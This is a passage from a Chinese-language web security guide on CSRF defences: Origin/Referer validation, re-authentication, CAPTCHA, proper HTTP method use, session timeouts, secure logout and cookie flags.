原理: 校验请求来源是否来自本站域名。

实现方式:

  • 校验以下请求头:

    Origin: https://example.com
    Referer: https://example.com/xxx
    

局限性说明

  • Referer 可能被浏览器或代理删除
  • 错误的正则匹配可能被绕过
  • 不同浏览器行为不完全一致

结论: 只能作为辅助防御,不能单独依赖

3.4 敏感操作二次认证(Re-Authentication)

适用场景

  • 修改密码
  • 修改绑定信息
  • 高权限或高价值操作(转账、权限变更)

常见做法

  • 强制校验旧密码
  • 二次验证(短信验证码 / OTP / MFA)

安全效果

即使 CSRF 请求被成功触发, 攻击者仍无法完成最终操作。

3.5 验证码机制(CAPTCHA)

作用定位

  • 并非 CSRF 专用防护
  • 但能有效阻断自动化攻击

优势

  • 强制用户参与交互
  • 提高攻击成本
  • 同时防止暴力破解与批量请求

不建议对所有接口使用,避免影响正常业务流程。

3.6 规范 HTTP 请求方法

基本原则

  • GET:只用于读取数据
  • POST / PUT / DELETE:用于状态变更

安全意义

  • GET 请求极易被 等方式触发
  • POST 虽不能完全防 CSRF,但更利于统一防护(Token / Header 校验)

3.7 会话生命周期控制

  • 设置合理的 Session 超时:
    • 金融 / 管理系统:≈ 10 分钟
    • 普通业务系统:≈ 30 分钟
  • 长时间无操作自动失效

3.8 安全退出机制

  • 用户点击“退出”时:
    • 服务端必须显式销毁 Session
    • 而不是仅清理客户端 Cookie
  • Secure:仅允许 HTTPS 传输
  • HttpOnly:禁止 JavaScript 读取(防 XSS 间接利用)
  • SameSite:限制跨站携带行为

3.10 总结

CSRF 防御的本质,不是“不让发请求”,而是“让跨站请求无法通过服务端验证”。

results matching ""

    No results matching ""